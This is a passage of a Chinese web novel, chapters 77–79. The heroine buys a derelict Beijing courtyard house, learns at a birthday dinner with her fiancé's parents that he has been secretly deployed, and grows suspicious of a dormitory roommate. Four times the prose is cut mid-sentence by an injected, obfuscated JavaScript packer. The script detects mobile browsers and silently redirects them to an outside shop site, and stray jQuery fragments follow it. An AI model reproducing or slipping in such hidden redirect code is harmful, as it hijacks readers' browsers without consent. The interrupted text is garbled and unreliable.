现在房子已经看不出原本的格局了。所有屋子都住了人,甚至有的房屋还被分割成了几间房屋,院子里也搭了不少的棚子,里头堆着各式各样的杂物和煤球,院子中间是水槽和水龙头,还有一排炉灶。 符伊年皱眉,这样的房子,且不说这些住户能不能搬走,就是搬走了,装修改造也是个大工程。 符伊年看向管方,刚好管方也向她看过来,两人对视一眼,没说话。 大娘一直亦步亦趋地跟着她俩,见她们的表情都不太好看,就知道这桩生意怕是不成了,但她还是想要试试,于是拉着两个人从大门里出来,找到个隐蔽的地方,试探她们的意思。 “你们要是看中了,还能便宜。”大娘说。 符伊年:“便宜是多少,不便宜是多少?” “原来是这个数,”大妈跟她们比划了两个手势,“现在便宜的话,要这个数。” 原价要一万零八百,现价要一万。 符伊年果断摇头,之前那个比这个条件、状态好得多,才九千八,这个面积是大,地段当然也好,但是收拾起来太麻烦了,而且里头那些住户肯不肯搬还是一回事呢。 相比较之下,就贵得多了。 不过,所谓“坐地起价,就地还钱”,总要讨价还价一番。 “您要是能搞定里头那些,”符伊年示意了一下,“原价给你也没问题。” 实在是,这个地段太好了,以后回翻倍升值的。 大娘见符伊年不是说笑,又想了想卖家许诺的中介费,一咬牙,“行,我试试。” “多久?”管方紧跟着问道,“时间太长我们可不等啊。” 大娘眼珠子转了转,给了个日期,“半个月。” “不能用违法手段。”符伊年赶紧定下规矩,“不能有人伤亡。” 大妈脸色一遍,讪讪地笑着:“当然当然,咱们都是合法公民。” 就在符伊年他们准备离开的时候,她突然想起了什么,“等等!” 大娘回头,脸色不太好看,“不会是要反悔吧?” 符伊年:“我就问一下,你这房子,是有地契的吧?” “有!”大娘重重点头。 * 符伊年不知道大娘用的什么手段,反正半个月后符伊年再来的时候,里面的住户确实都搬走了,只留下一地的狼藉和垃圾。 这一次,大娘身边跟了一个文质彬彬的中年人,据她介绍,这就是买家。 而符伊年身边也不只是管方一个人,还有一个青年男子。这个人,是符伊年同容院长借的。 半个月前,符伊年从这里离开后,先做了两件事,一件是去将电汇的钱取出来存在学校外面那家农行里,另外一件事就是打电话给容院长。 容院长的实验告一段落,她只是在办公室处理一些文书工作,接到符伊年的电话一开始还挺惊讶的,按理说这个孩子应该还在安县休暑假才对。 等听到符伊年说她回京城是打算买房子,就更吃惊了,“买房子?为什么?” 符伊年就把她同祝镕说的那些理由又说了一遍,“正好我有个同学说她知道有个人在卖房子,”符伊年又把今天遇到的事同容院长说一遍,“我就是想请您帮着查一下,北海那家有没有什么问题,然后不要让那个大娘用不好的手段。” 容院长当然不会拒绝,也没有多问其他的问题,甚至没问她是否同祝镕说过。容院长答应下来会派人去附近看着,还说等半个月后,会让人陪着符伊年一起去买房子。 “你现在住哪里?要不要到家里来住?”容院长关心地问,“祝镕的房间每天都有收拾的。” 符伊年当然是婉拒了,“阿姨,我住学校宿舍的,这里更方便我去图书馆借书。” 容院长便不再勉强,又告诉她不用担心,她会把一切安排好的。 所以半个月后的今天,符伊年从宿舍楼出来的时候就看到了等在楼下的自称是容院长牌来的人。问过之后,符伊年知道此人名叫马龙。 很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062713|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧合的,同后世的一位世界/奥运冠军同名了。 符伊年同他一起往外走,走了几步却停下来,“我突然想起些事,要去打个电话,麻烦您稍等我一下。”说完不等对方答应就跑进了宿舍楼里。 符伊年拨了个电话给祝镕。 祝镕已经回来了,不过最近似乎十分繁忙,一周都打不来一通电话,有时候符伊年拨过去,也经常会因为有工作找他而不得不中止电话。 符伊年也问过,不过祝镕只给了两个字:保密。符伊年就懂了,便不再问。 电话接通了,祝镕刚好从食堂回来,还没开始工作,听说符伊年要去看房子,又是一番叮嘱,又得知是马龙陪着,就十分放心了。 “马龙是我爸的警卫,有什么事他都能解决。”说完了,祝镕突然笑了一声,“你现在都有四合院了,我这六十几平的宿舍还看得上不?” 符伊年也笑了,“四合院算什么,你将来可是能住将军楼的。” “咳咳咳,”祝镕被自己的口水呛到了,“你对我倒有信心。”他自己都不敢想呢。 符伊年嘿嘿笑两声,“我得走了,马大哥还在等呢。” * 符伊年这个电话也才五分钟左右,因此马龙其实并没有等很久,等符伊年重新出来后开着车一起过去北海那边。 原来的住户的确都搬走了,但是房子像是被洗劫过一般,遍地是垃圾。煤球渣子、破布头子、碎树叶子、甚至还有几块不知道是人还是牲畜的米田共…… 大娘见符伊年盯着那些东西看,不好意思地笑笑,“我来扫,我来扫。”说着就找了工具将碍眼的东西清理了。 管方一边走一边同符伊年嘀咕,“这收拾起来,也得不少钱吧?” 符伊年微微点头,“整理卫生、收拾家具、再收拾一番房子,估计没有这个数打不住。”符伊年比了个“耶”给管方。 管方知道,这可不是两百的意思,这得是两千。她忍不住咋舌。两千块都是普通工人七八年的工资了,就用来收拾这个破房子? 符伊年笑笑,没有过多解释。 管方想起了符伊年那个高干子弟的对象,听说两人已经打了恋爱报告,只等她毕业就领证结婚了。 那么有这样一座房子当嫁妆,应该就不会有人说她高攀了。 符伊年是真的没想到管方居然能从这个角度替她找借口,若是知道了,一定对管方抱拳感谢的。 虽然房子垃圾破烂比较多,但是房子整体结构和建筑还是保存的很好的,双方一同检查、确认过后,先签了买卖合同,然后符伊年付了五百块的定金,之后一行人先去房产局办了过户。 房产局这里本来管方是有亲戚在可以找人帮忙办理,不过马龙直接找了房管局的领导,领导又专门喊了一个人去帮他们办理,因此拿到土地证和房产证的时间要比别人快一些。 拿到了证件,符伊年再去银行,以电汇、信汇或者票汇的方式,将剩下的款项汇给对方。 至此,交易完成,这座看起来有些破败的房子,归符伊年所有了。 77. 祝伯伯 第七十七章 房子是买到了,但是别说住人,站人都比较勉强。 符伊年站在在三进院子中来回走了一圈,转头看向马龙,“马哥,您看,有什么办法能尽快把这些垃圾清理出去吗?” 这如果是在后世,找个家政,或者雇几个无业居民就能收拾出来,可是这时候好像不让私人雇佣。 马龙没有立即回答,看了眼她身边的管方。符伊年恍然大悟起来,“方方,你家做这一行的,有没有什么办法?” 管方当然有办法,只是之前符伊年一直没有问她,她也不好主动提起,现在符伊年问到了,她当然不会隐瞒。 “我帮你找几个大妈,不用给钱中午管一顿饭就行,再给些肉票粮票什么的,两天就能收拾利索。”管方说,这是第一种方法,“第二种方法就是,你干脆找个工程队,连清理垃圾带整修房子,刷漆、换瓦、涂画,一次性搞完。” 符伊年环视一圈房子,确实,这四合院除了垃圾杂物,窗棂、柱子都掉漆了,房顶上的瓦也有不少坏掉的,有几间还长了草,要是不清理的话,以后房间怕是要漏雨。 “你说的有道理。”符伊年点头,“那你有工程队介绍吗?” 管方摇头,“你要是只找搞卫生的大妈,我能给你介绍,这种专业的工程队,我就没有认识的了,而且吧,”管方咂咂舌,“你最好找那种古建筑修复队,你看看这些雕梁画栋,重新描画以后,绝对不比故宫差。” 管方没有这方面的人脉,符伊年只能再看向马龙,马龙沉吟片刻,“我回去问问容院长和首长,她们应该会有认识的。” 于是事情就这样定下来,马龙还有工作没有多留,问过符伊年要不要送她们回去,得到否定的回答后,就驱车离开。 马龙走后,符伊年和管方一起吃了午饭,午饭后去公交站等公交车一个回家一个回学校宿舍。 管方的公交车先到,在车驶过来还没停下的时候,符伊年张开手臂抱了管方一下,“方方,多谢你了。” 管方没有多想,拍拍符伊年的肩膀,“不用谢的,我们是和好朋友嘛!” 这个时候,公交车停下,车门打开,两人松开彼此,符伊年目送管方上车,在车门关上之际,冲她比划了一下她的挎包。 管方下意识地看向自己肩头背着的帆布包,打开后发现,里面赫然一个红纸叠成的红包,管方一下子就明白,她抬头看向窗外。 窗外公交站,符伊年正笑着同她摆手再见,管方嘴巴动了动,没能说出话来。 这个红包是符伊年昨天就准备好的。最开始说好的,管方帮忙找房看房,自己按“内三”的比例给她中介费。 结果自己临时变卦,选了这么一处地方,管方不仅拿不到约定好的中介费,还跟着跑前跑后帮了自己很多忙,说不定这期间还麻烦了她亲戚很多。 所以符伊年昨天就买了张红纸自己叠了个红包,装了两百元的现金进去,既是对管方的感谢也是对她的歉疚,其实她本来可以拿到更多的。 然而,管方并不这么想,她甚至有点庆幸符伊年没有买最开始那座两进院的房子——那是她亲戚和她妈妈找到的房源,拿到中介费后也是亲戚分大头家里分小头,到管方手里就更少了,甚至可能没有。 管方下了车后没有立即回家,而是先找了个无人的角落,从红包里的那叠现金中抽了十张出来,在自己身上藏好,然后才带着剩下的一百块回家。 “妈,这是我同学给的辛苦费,一百块,你看要不要和表婶分一分?”管方把手里的红包交给她妈妈。 管妈妈从红包里拿出钱来,用手一摸就知道是十张大团结,“你这个同学,挺大方。”一百块,普通人家两三个月的工资了。 管妈妈从这十张大团结里抽了两张出来,“这是你找来的人,给你二十,至于你表婶,交易没成也不赖咱们,不管她。” 管方没有拒绝,痛快地收下这二十块钱。 当晚,夜深人静,管方正在熟睡,有个人悄悄来到她的床铺边,没有碰她,而是动作非常轻的拿起她的挎包翻了起来。管方假装被吵醒的样子翻了个身。 翻包的人动作一顿,等她没了动静后才继续动作,最后当然是什么都没有翻到,只得悻悻地将包放回原处。 等人离开后,管方睁开眼,对着漆黑的夜冷笑了两声,重新闭上眼。 * 专业的古建修复工程队是在八月末进入四合院开始工作的。工程队是容院长的熟人介绍的,做这一行很有经验,只是因为这几年特殊时期,类似的工作不多,很多人都转行干别的去了。 符伊年这里是他们这几年来的第一份相关工作,因此所有人都十分认真,想要把这份工作做完美——下次还有没有这样的机会已经不好说了——人们总是对某事的“最后机会”倾注更多心思。 因为工程开始的时候符伊年已经开学了,不可能日日到场去监督,即便是周日,也不是每周都能过去。 符伊年和容院长沟通后,由容院长找人监工,“你只要专心做你的事就好了,不用太多顾虑。” 符伊年自然又是一番感谢。感谢后,她思虑了再三,还是将心中的问题问出来了:“容阿姨,祝镕最近联系您了吗?” 容院长顿了顿,然后语气正常地回答她:“没有,他自从进了部队,一个月不找我们都是正常的。你也不用担心,有事组织会说的。” 符伊年沉默,真的等到组织说了,恐怕就不是什么好事了吧。 挂掉电话,符伊年去上课,容院长则是看向沙发上坐着的人,这不是别人,正是祝镕的夫妻,祝首长。 祝首长今年五十四岁,一身军装麦色肌肤,额头上一处伤疤,虽然他此时面部柔和眼光温柔,但是不怒自威的气势刻在骨子里。 “听见了吧,已经开始怀疑了。”容院长看向自己爱人,“早就和你们说,瞒不过的。” 祝军长摊摊手,“他自己不肯说的,我都是被通知的,好吧?” 容院长叹一口气,“祝镕也真是,这有什么瞒的,难道年年还会反对?年年懂事着呢。他要是真这么以小人之心度年年之腹!” “毕竟事上战场,谁都不知道未来。”祝军长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078813|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了句实话,“难道你不担心啊?要是真说了你不反对?” 容院长:……“就你长嘴了,不会说闭嘴!” 祝军长被怼了也无所闻,他耸耸肩,每次找不出话回怼就会让自己闭嘴。 “这样,下周年年生日,请她吃个饭吧。”容院长提议,“到时候把这件事透露给她,总不说到底不好。” 祝军长无所谓,“你来安排就行,定好时间和地点告诉我。” * 符伊年其实已经快要忘记自己的生日了。实际上,这个生日是原主的出生日期,她自己的生日是在正月十五。 所以,当她接到容院长的电话说要给她庆生的时候,符伊年先是愣了一下才反应过来,下意识地就是拒绝。 “先别忙着拒绝,”容院长声音温柔,“主要是祝镕爸爸有空了,他之前从外地回来,有些事情没忙忘,现在有时间了。” 既然这样说了,那符伊年若是再拒绝,就有些不识抬举了,于是在问清楚时间地点后,答应下来会准时到达那里。 符伊年挂掉电话后,想来想去,还是没有给祝镕打电话。 实际上,从月初开始,符伊年就找不到祝镕了,最近半个月,电话一直打不通。上一次通话还是开学那天,两人聊了很久,祝镕也有说不完的话,说了很多他设想中的未来。 其实那时候符伊年就应该察觉的,因为祝镕并不是个话痨,他和符伊年的对话很多时候是以谈论当下为主的。 符伊年心里隐隐些猜测。 到了吃饭的那一天,是马龙开车来接的,吃饭的地点并不是什么出名的饭店,而是像是单位食堂,树木掩映着红墙,车子开进墙内,停下。 二楼的包间里,祝军长才在椅子上坐了几分钟,忍不住又站了起来,走到门口又会退回来,对着玻璃上的倒影整理军装。 容院长在一旁看着,撇嘴,“你能不能安稳地坐一会儿?” 祝军长在椅子上重新坐下来,拿起旁边的帽子戴上,戴上后又觉得太热,干脆摘下来,“我这不是,要见到儿媳妇紧张的嘛。” 容院长没说话,心里却想:儿子能回来就是儿媳妇,儿子不回来还不知道是谁家的儿媳妇呢。 说话间,走廊有脚步声传来,接着就是敲门声。 两人坐正,祝军长沉着声说:“进。” “首长,容院长,符同志到了。”马龙推开门后侧身,将在自己身后的符伊年让出来。 符伊年今天特意穿的是那件从来自粤省的不规则几何图案的衬衫,搭配裁剪过的牛仔裤和白色中跟皮鞋,整个人既文雅大方,又不失青春活力。 “伯伯好,阿姨好。”符伊年对二人微微弯腰问好。 容院长一如既往地温柔,“哎好,快过来坐。” 而祝军长,一直注视着符伊年没说话,只是盯着她的脸出神,直到容院长在桌下推了他一把。 符伊年已经被祝军长看得心里发毛了,但是她又不敢问。 这时候,被容院长推了一把的祝军长回了神,他清了清喉咙,“符明真,是你什么人?” 78. 真相 第七十八章 符伊年被祝军长和容院长请吃饭,地点在一个红墙围着的院子里的一栋二层建筑。 上了二楼,东边最尽头的包厢,符伊年刚进门,就注意到房间里的人,容院长她是认识的,另外一个穿着军装的中年男子应该就是祝镕的爸爸祝军长了吧。 虽然祝军长努力做出温柔和蔼的样子,但是他那刻在骨子里的不怒自威的气势,其实让符伊年敬畏,当然更多是因为这是参加过解放战争和半岛战争的英雄。 只是,为什么祝军长一直盯着我的脸看? 符伊年有些无措,先低头看了看自己的衣着,应该没有出错,于是不禁向身边更熟悉一点的容院长求助。 也是这个时候,祝军长清了清喉咙,问了一个符伊年一个意想不到的名字。 祝军长:“符明真是你什么人?” 符伊年一愣,这个名字好耳熟啊。 啊,想起来了,是符家那位十六七岁就离家参军去抗日、后来又参加了解放战争,但最终不幸牺牲的那位符志宏的大伯自己的大爷爷。 “是我大爷爷。”符伊年据实以告,担心对方理解不了“大爷爷”的意思,特意又解释了一遍,“就是我父亲的伯伯,我祖父的哥哥。” 祝军中点点头,似乎想说些什么,但是太激动了,什么都说不出来,甚至嘴唇都在抖。 容院长看着急忙起身拍他的后背,“老祝!老祝?”同时在祝军长的衣兜里掏出一个药瓶来。 符伊年见状也急忙起身提起桌上的水壶倒了一杯水递给容院长。容院长接了又递给祝军长。 两片降压药吃下去,加上自己有意控制,祝军长的情绪逐渐平复下来。祝军长靠在椅背上,微微昂起头,用手背遮住了眼睛。 符伊年不安第看向容院长,不知所措。 容院长拍拍符伊年的手,示意她不要紧担忧,同时转头看向祝军长,用另外一只手握住祝军长的手,给他安慰和力量。 过了大概五六分钟,祝军长用手心抹了一把脸,用力握了一下容院长的手,表示自己已经好了,接着他坐正,看向符伊年,苦笑了一声,“要不是我,你大爷爷还好好的呢。” 当年他和连长一起穿越火线送情报,结果被敌人发现,连长为了让情报能及时而成功地送出,自己留下来同敌人周旋拖延时间,让他带着情报快走。 情报及时送达,我军根据情报调整部署策略,不仅避免了大面积伤亡损失,还赢得了非常漂亮非常鼓舞气势的一仗。 可是,祝山河再也没有等回他的连长。 符伊年虽然不知道具体事情如何,但只从祝军长这只言片语中大致能够猜到事情的原委。 “我不同意您这句话。”符伊年摇头认真地看向祝军长。 祝军长挑挑眉,“哦?为什么?” “国外有句话叫‘意外和明天不知道哪个先来’,国内也有句话叫‘月有阴晴圆缺人有旦夕祸福’,即便是和平年代,依然无法保证每个人都能平平安安健健康康地到老。更何况当时哪个动乱年代。” “大爷爷既然选择了从军,他一定是想得清清楚楚明明白白。既然来从军,既然上战场,必然有牺牲,如果用一个人的牺牲换来整个战局的优势,大爷爷认为值得,那就值得。” 符伊年顿了顿,“何况,您永远都会记得他,祖国也不会忘记他。” “好一个‘祖国不会忘记’!”祝军长一拍大腿,看向符伊年的目光越发赞赏,心说:祝镕这小子,总算眼光不错了。 接着他突然想起来今天的正事,“既然这样……” 容院长再桌下推了自家男人一下,又瞥了他一眼,重新看向符伊年的目光也格外慈蔼,“好了,伤心的事先不提了,我们先吃饭,吃完饭再说话。” 符伊年其实早就觉得今天这顿饭并不是简单的一顿饭,两位长辈可能有什么话要交代她。 而且,如果不是第一次见祝伯伯,也确信祝伯伯是第一次见到她——不然不会盯着她的脸看那么久,符伊年甚至快以为他提到大爷爷就是要为接下来的话做铺垫。 不过既然现在二位长辈好心地提出先吃饭后说事,那符伊年救承了两位长辈的情,先安心地吃饭吧。 符伊年并没有客气,像同祝镕在一尺吃饭时一样,吃得十分认真,认真地对待每一口食物每一颗粮食。 不过说实话,其实符伊年并每有吃出什么味道来,她看看这满桌的食物,不禁心中摇头,辜负了美食。 容院长见符伊年停下筷子,自己也停了下来,不禁关切地询问她,“吃饱了?再吃点吧?” 符伊年摇摇头,放下了筷子,“伯伯和阿姨不用管我,我最近上火,本身吃得就少。”符伊年说了一个不大不小的谎言。 容院长也放下了筷子,笑了,“合该我们做一家人,我也上火了,吃得也不多,秋天就是容易燥。” 祝军长见两位女同志找到了“共同点”,不禁也跟着凑热闹,“我也上火,你看嘴上这泡。” 容院长:……你跟着瞎起什么哄啊。 符伊年在一边旁观着这夫妻二人的互动,忍不住会心一笑,心里有些羡慕祝镕,肯定从小家庭氛围救特别好,所以他长成了如今这般自信、积极的模样。 待服务员将残羹冷炙撤下去,重新换了茶水上来,符伊年到底每沉住气,问了出来,“伯伯阿姨,您们之前说吃完饭有事同我讲,现在能讲了吗?” 容院长看向祝军长,示意他:你来说。 祝军长回视他,用眼神拒绝:你们女同志比较方便沟通,你来。 容院长瞪眼:你儿子!你们都是军人! 祝军长:……没得反驳。 “年年啊,”祝军长看向符伊年,语气十分和气,“我可以这么叫你吧?” 符伊年点头,“当然可以。您怎么叫都行的。” “其实我们不说,以你的聪明应该也能猜出来了,祝镕他们部队得到通知,已经秘密开拔了。因为是秘密部署,从主将到士兵,一个都不知道具体地点,也一个消息都没传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097418|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来” 符伊年确实早有预感,但是等这种猜想和预感真正被证实了,她还是有一瞬间的愣神,过了一会儿才自言自语般说:“谁都不知道啊。” 她就知道,祝镕不会突然无缘无故无声无息的消失。符伊年不自觉地露出个微笑,可是很快她就笑不出来了,这种秘密部署的队伍应该会有秘密任务吧,秘密任务危险性会不会更大啊。 符伊年想了半天,也不知道自己能说些什么,她自然是支持他的,也打心底希望战事能顺利并且早日结束,可是从她的上帝视角告诉她,没那么简单。 也不知道祝镕是只执行一件任务还是一直到战事最终结束才能回来?符伊年知道这场战争我方肯定会赢,可是这并不妨碍她对祝镕的担忧。 符伊年无话可说,只好对二位长辈露出一个不太好看的笑容。 两位长辈都非常理解她的心情,尤其是容院长,拉着她的手一直没松开,甚至和符伊年说起了她年轻时候的事。 “那时候我刚怀了祝镕,东北那边就开战了,你祝伯伯的队伍最开始不在战斗名单里,我一开始还很庆幸。结果临生产了,他们部队进入了第二批名单。知道这个消息的当天我就胎动了。” 符伊年吃了一惊,“早产了?”虽说哪个时代中国医疗技术已经有很大提高,可是早产到底不好。 “那倒没有。”容院长摆摆手,“就比预产期提前几天,不算早产。我在产房挣命的时候,你伯伯他们队伍都已经过了国境线了。他连看一眼孩子都没机会。等回来的时候,祝镕都会说话了,见着他根本不认识,也不找他抱,一抱就哭。” 说到这里,祝军长也十分感慨,“我听见过他跟你说:这人咋还不走。他以为我是来做客的。”说完笑了起来,那笑容真是,既心酸又无奈。 符伊年有些同情祝军长,但是不好意思笑,幸好容阿姨毫不留情地笑出来,她才微微翘起了唇角。 被祝军长这“幽怨”的语气一打岔,当下气氛就轻松了不少,三个人的表情也缓和了很多。 祝军长和容院长都是大忙人,平时能坐下来好好吃顿饭都不容易,两人能一起给符伊年过生日,符伊年其实是比较“受宠若惊”的——虽然后来祝镕说这其实更多是“替子赔罪”。 茶水泡过三泡味道就很淡了,一场会面也到了尾声。符伊年思来想去,觉得还是要表态的。 “祝伯伯容阿姨,我们要对祝镕有信心,这么多年的战斗训练,还有战略战术的学习,他一定会顺利的,我会等他凯旋的。” 顿了顿,又补充,“今天的事,我不会乱说的。” 祝军长原本是想叮嘱两句的,见状也就不再多言。容阿姨则是拉着符伊年的手,说了很多让她照顾好自己的话,“有什么事就找我们,不要见外。祝镕不在家,我们有责任照顾你,更何况……” 容阿姨没有说下去,但是符伊年明白:更何况她还是符明真的侄孙女,算是符家唯一的后人了。 这算不算是“前人栽树,后人乘凉”呢? 79. 等待 第七十九章 日子就这样流水般过去。 自从生日宴后,祝军长和容院长经常让人来给接符伊年去家里吃饭,每次吃了饭回来就会带回很多好吃的。 符伊年除了自己吃,也分享给宿舍友,若是有多的就分一些给隔壁宿舍的林小晗和管方,于是符伊年的人缘空前的好。 当然,也有人说闲话。无非就是说她还没结婚就又吃又拿,显得很掉价,给大学生丢人,云云。不过他/她们并不敢明目张胆地说,更多时候事窃窃私语。 马悦、米仙花等人听说了之后,都十分气愤,甚至想上前去理论。是符伊年拉住了她们。 “不用去管,随他们说去。”符伊年对几人摇摇头,“舌头长在别人的嘴巴里,我们管不了,我没做亏心事,不怕他们讲。” 符伊年很早就知道,这个世上谁人背后不说人谁人背后不被说?只要足够强大,心理足够包容,这些闲言碎语就不会影响她。 与其内耗自己,不如去卷别人。 有那个计较的时间,她不如多看看书多背背题,将基础打牢靠了,以后忙起别的事来,就不一定有那么多精力分给学业了,基础好一些至少不会变得太差。 听了符伊年的话,几个人对她竖起大拇指,尤其米仙花,对符伊年佩服的不要不要的。 符伊年的成绩在年级和班级都算不得顶尖,只能说是名列前茅,但是综合素质方面她真的是最棒的。 思想成熟、心理强大、身体健康、头脑聪明,这几样单独一样拿出来都很棒了,更何况都集中在一个人身上。 符伊年倒是没有什么强烈的感觉。可能是因为她在两个不同的世界生活过,见过太多更厉害的人,他们才是真真正正的金字塔顶尖的人,是她再活一辈子都追不上的人。 因为符伊年的淡然和包容,那些说闲话的人没看到自己想看到的热闹,时间久了就不再说,慢慢的流言蜚语也就消散了。 而且,在符伊年的带动下,她周边的同学们也进入了一种“开卷”的状态,表现为女生宿舍403室每天都是整栋宿舍楼最早起床最早出门最晚归来的。 不过,有一个人除外。 就是于思华。于思华自从和男班长张超谈起了朋友,整个人就变得十分洋气时髦,身上穿着的是时下最流行的衣服,脸上擦的是最贵的面霜,头花儿每天都不一样,发卡攒了一袋子,甚至开始逐渐涂口红擦腮红了。 一开始大家人都没有在意,女孩子嘛,又谈了朋友,总想让自己以最完美的状态出现在心仪之人面前,非常好理解。 直到有一天在食堂吃饭,符伊年正端着饭盒在找位子,被身边的马悦碰了一下胳膊,示意她看向某个方向。 符伊年看过去,在那个角落坐着于思华和和一个不认识的男生,两个人并排坐着姿态亲密,放在桌下的手在十指相握。 但是那个男生明显不是她们的班长张超。 “那男的谁?”符伊年偏头低声问马悦,“怎么从来没见过?” “听说是大三的,”马悦也低声回答她 符伊年反映了一下,吃惊道:“那不是工农兵大学生?” 马悦点头,告诉符伊年,那人是农业部推荐上来的,大四,听说是高干子弟,明年毕业回去就升科长了。 两人找了个位子坐下后,符伊年忍不住多看了两眼,她没看清那个那人的相貌,不过从那苍蝇落上去可以打滑的油头来看,估计不是个脚踏实地的。 符伊年只看了两眼就收回了目光,吃起饭来,一边吃一边问马悦,饭后回不回宿舍。 “回吧,得回去换书,我没带下午上课得教材。”马悦回问符伊年,“你呢?”问完自己笑了起来,“就多余问你,你肯定回去,你要午睡。” 也不知道符伊年身体缺了什么元素,每天都要午睡,无论春夏秋冬,即便睡不着也要在床上躺着休息半个小时,还美其名曰:中午不睡,下午崩溃。 符伊年笑着点头,表示她说得没错。在她看来,时间久不算什么,效率高才是最有效的学习方式。 大一的第二学期,课程依然排的非常满。这天晚上,她和马悦米仙花上完自习后一起回到宿舍,宿舍亮着灯,门却反锁着,而且窗帘也被关上了看,看不见里面什么情况。 三个人非常奇怪。因为今天下午符伊年和马悦离开宿舍的时候,两人确定是没有开灯的。不过,中间有没有其他人回来,她们久不确定了。 不过此时房门是反锁着的,代表着里面应该是有人在的吧。 符伊年上前敲了敲门,没有动静。又用了些力气,敲门的声音重了些,依然没人回应。 这个时候,刘洋从隔壁出来了,“你们也没敲开?我半小时前回来的,也没敲开。” 符伊年和马悦不约而同变了脸色,她俩直到常开心留在教室组织写板报了,剩下五个人中的四个都在门口了,那房里的人是谁已经不言而喻。 这么久没开门…… “不会是出意外了吧?”符伊年喃喃地说着,手下也从敲门改成了拍门,一边拍一边喊:“于思华!于思华!你开门!于思华我们知道你在里面!快开门!开门啊!” 房间里依然安静。符伊年这番动静不小,引得旁边几个宿舍的人都跑出来看了。 符伊年转头看向马悦她们,表情凝重地摇头。 马悦考虑了一下,让符伊年往旁边让让,自己上前拍了拍门,“于思华!开门!再不开门,我数三个数就踹门了!” “一!” “二!” “等一下!等一下!”突然一道女声从门里传来。 门外的符伊年她们,包括隔壁宿舍的几个人,全都瞠目结舌。这不光是在里面,听声音还很清醒啊,为什么这么久不开门? 门开了,于思华从里面走出来,她穿着睡衣,头发散落,眼睛眯着,走到门口的时候还打了个呵欠,看起来确实是刚睡醒的样子。 不过符伊年注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114559|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她睡衣的扣子系错了,鬓角的头发潮潮的,像是出了汗。可是现在是十一月下旬,就算宿舍里有暖气,也不至于热出汗吧? “你们这么早就回来了?”于思华站在门口问道。 马悦毫不避讳地翻了个白眼,“已经八点多快九点钟了,不早了。”说着奇怪起来,“你怎么那么早就上床睡觉了?还反锁门?” “我吃完晚饭回来就睡了,怕不安全才把门反锁的。”于思华说完,又打了个呵欠。 米仙花见她还在打瞌睡,不禁有些不高兴,“我们还以为你在房间里发生了意外,差点踹门了。” 于思华撇撇嘴,“能有什么意外,这不是好好的。” 符伊年在一旁冷眼看着,怎么看怎么可疑,可是于思华表现的又很正常,看起来不像说谎。 既然看不出来那就先不管了,若是真有问题,早晚露出马脚。于是她走上前对于思华说“让一下,我要进去了”,于思华看了她一眼,侧开半个身子,让符伊年进入宿舍。 进了宿舍后,符伊年迅速地扫视了一圈,并没有看出什么异常。符伊年的心稍稍放下来,这才把包挂回床头,拿了水盆和毛巾去水房洗漱。 这一天就这么安然无事的过去了。 过了两天,也是晚上的时候,临睡前,自从之前有一次偷窥符伊年看信被她发现并训斥了一次,于思华就没怎么主动同她讲过话。 这天晚上却很奇怪,她竟然主动同符伊年攀谈起来,还问起了祝镕。 于思华:“符伊年,最近怎么不见你给你对象打电话了?” 符伊年当时正在弯腰洗脚,闻言头都没抬,“下次打的时候跟你汇报。” 于思华被噎了一下,但是并没有放弃,“也不见你收信了最近,不会是被人家甩了吧?” 符伊年连迟疑都没有迟疑,张口就来:“嗯,我被甩了,你同情我一下,请我吃饭吧?” “噗——”正趴在桌上写入思想报告的常开心被符伊年这两句话逗得哈哈笑起来,“年年啊,你这张嘴太坏了!” 符伊年眨眨眼,“有吗?可能你请我吃点好的就好了。” 常开心:……“得,我知道你大姨妈来了情绪不好,不招你。” 符伊年哪里是因为大姨妈来了才情绪不好的,是因为祝镕已经两个月没有任何消息了。别说报纸、广播、新闻中没有任何关于南疆的消息,就是祝军长那里也没有只言片语。 这种没有消息的状态,符伊年也不知道好不好。她是既希望能有平安无事的小心传来自己好安心,同时又安慰自己“没有消息就是好消息”。 